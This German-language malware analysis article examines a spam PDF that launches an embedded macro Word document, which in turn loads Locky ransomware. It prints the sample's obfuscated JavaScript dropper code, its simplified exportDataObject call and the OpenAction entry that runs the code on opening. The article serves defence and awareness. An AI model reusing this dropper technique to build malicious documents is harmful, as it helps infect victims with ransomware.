Analysiert: Alte Masche, neue Verpackung – Infektion durch PDFs

Manipulierte Word-Dokumente sind bei Kriminellen beliebt, um Computer mit Malware zu infizieren. Dass auch PDF-Dateien ausführbaren Code enthalten können, ist hingegen ein wenig in Vergessenheit geraten. Eine unlängst grassierende Spam-Kampagne ist ein guter Grund, sich diese Gefahr anhand eines frischen Samples in Erinnerung zu rufen.

In jüngster Vergangenheit berichteten verschiedene Quellen von vermehrten Angriffswellen mit präparierten PDFs als E-Mail-Anhang. Lässt sich ein Opfer unter Windows von der Mail blenden und öffnet das PDF, fängt es sich über Umwege den Erpressungstrojaner Locky oder Jaff ein. Im Grunde handelt es sich bei diesem Infektionsweg um eine altbekannte Masche in neuer "Verpackung". Ich habe die Hülle geöffnet und mir angeschaut, wie der Schädling auf Computer kommt.

Gefakte Zahlungserinnerung

Der Betreff dieser Spam-Mail-Kampagne enthält typischerweise die Begriffe "Receipt", "Payment" oder "Invoice", gefolgt von einer beliebigen Ziffernfolge. Der Dateiname greift diese Nummerierung auf, wie das von mir untersuchte Beispiel-PDF "001_9018.pdf" zeigt. Dieses Sample hat mir netterweise ein Leser geschickt.

Für die Analyse greife ich auf das nützliche Tool PDF Stream Dumper zurück, das speziell für die Analyse potentiell bösartiger PDFs entwickelt wurde. Sicherheitshalber starte ich es in einer VM. Eine schnelle Analyse fördert eingebettetes JavaScript zutage. Auf den ersten Blick wirkt der Code ziemlich umfangreich. Doch insgesamt werden nur zwei Funktionen ausgeführt, um die Malware-Infektion einzuleiten.

Der restliche Code dient lediglich der Tarnung und entstammt unter anderem einer Anwendung zur Verwaltung von Wetterdaten sowie einem Hacker-Skript mit dem geschmackvollen Namen "Smack my Bitch up". Der relevante Code wurde auf drei verschiedene Stellen im 200-zeiligen Skript verteilt und sieht folgendermaßen aus:

function ser2mis() {
	return 'exportDataObject';
 };
 
 var absheder = ser2mis();
 var firgi = 2;
 var WeatherCtrlFocus = this[absheder];
 
 function stdoutS() {
 	WeatherCtrlFocus({
 		cName: "LAMIKSJZ.docm",
 		nLaunch: firgi
 	});
 };
 

Die umständliche Schreibweise dient offensichtlich der weiteren Verschleierung. Man könnte das Ganze nämlich auf folgendes reduzieren:

exportDataObject ({ cName: "LAMIKSJZ.docm", nLaunch: 2 }) 

Die Funktion exportDataObject richtet sich an die PDF-Anwendungen Acrobat und Acrobat Reader von Adobe. Doch auch andere Reader "verstehen" diesen Befehl.

Huckepack-Malware

Bei den Funktionen halten sich die Drahtzieher der PDF-Kampagne an die Vorgaben von Adobe zum Umgang mit JavaScript in PDF-Anwendungen. Die Acrobat JavaScript Scripting Reference dokumentiert, dass der Parameter cName den Namen des zu extrahierenden Datenobjekts erhält.

In diesem Fall lautet der Name "LAMIKSJZ.docm". Dabei handelt es sich um ein Word-Dokument mit Makros. Zu "nLaunch: 2" erfahre ich aus Adobes Dokumentation, dass die extrahierte Word-Datei in einem temporären Pfad gespeichert und dann nach dem Auftauchen einer Acrobat-Sicherheitswarnung ausgeführt wird. Schließt man den Acrobat Reader, wird die temporäre Kopie der Word-Datei automatisch gelöscht.

Wer sich ein bisschen mit JavaScript auskennt, hat bestimmt bemerkt, dass die Code-Ausführung in unserem Beispiel noch den Aufruf der im Code enthaltenen Funktion stdoutS() erfordert. Um zu gucken, wo sich der Aufruf dieser Funktion versteckt, schaue ich mir mithilfe des PDF Stream Dumpers das so genannte "Catalog Dictionary" des PDFs an. Dieses beschreibt mit der Objekt-Hierarchie vereinfacht gesagt die Struktur der Datei. Hier ein relevanter Auszug:

/Type/Catalog/Pages 9 0 R/Names 13 0 R/OpenAction.

Interessant ist der Dictionary-Eintrag OpenAction. Laut Adobes Beschreibung kann man damit automatisch eine Aktion ausführen, sobald ein PDF-Dokument geöffnet wurde. Die auszuführende Aktion finde ich in Form der im PDF verankerten "Action Dictionaries". Et voilà: Dabei handelt es sich um den gesuchten Aufruf: /S/JavaScript/JS(stdoutS();)

Netter Versuch ...

Nachdem nun klar ist, wie der Trick mit dem Word-Dokument in der PDF-Datei funktioniert, führe ich sie der Vollständigkeit halber noch einmal im Adobe Reader aus. Wie erwartet, wird das Word-Dokument erst nach dem Abnicken des Sicherheitshinweises in einen AppData-Unterordner des Windows-Nutzers extrahiert und geöffnet. Im PDF steht noch zusätzlich der Satz "Please open attached LAMIKSJZ.docm file", was so manchem Empfänger sicherlich schon aufgrund des Dateinamens und der Grammatik seltsam vorkommt.

Im Word-Dokument läuft dann alles wie bei Makro-Viren gewohnt ab: Zum Aktivieren des enthaltenen VBA-Codes muss ein Opfer erst die "Geschützte Ansicht" von Word deaktivieren. Anschließend muss es noch der Ausführung von Makros zustimmen. Erst danach erfolgt das Nachladen der Payload in Form von Locky und die anschließende Infektion.

Ich komme zu dem Schluss, dass für einen erfolgreichen Angriff mittels PDF-.docm-Kombi geschicktes Social Engineering vonnöten wäre. Meiner Beispiel-Malware fehlt diese Überzeugungskraft eindeutig. Im Grunde stellen sich die Drahtzieher mit dem Warnhinweis im Acrobat Reader selbst ein Bein, und diese zusätzliche Hürde könnte ein Opfer vor einer Infektion bewahren.

Aus Sicherheitsgründen sollte man nicht jedes per Mail erhaltene PDF blind öffnen: Aufgrund der generellen Möglichkeit, ausführbaren Code in PDFs zu packen, ist auch Vorsicht bei diesem Dateiformat geboten – und zwar völlig unabhängig davon, welche Anwendung man zum Öffnen verwendet. (des)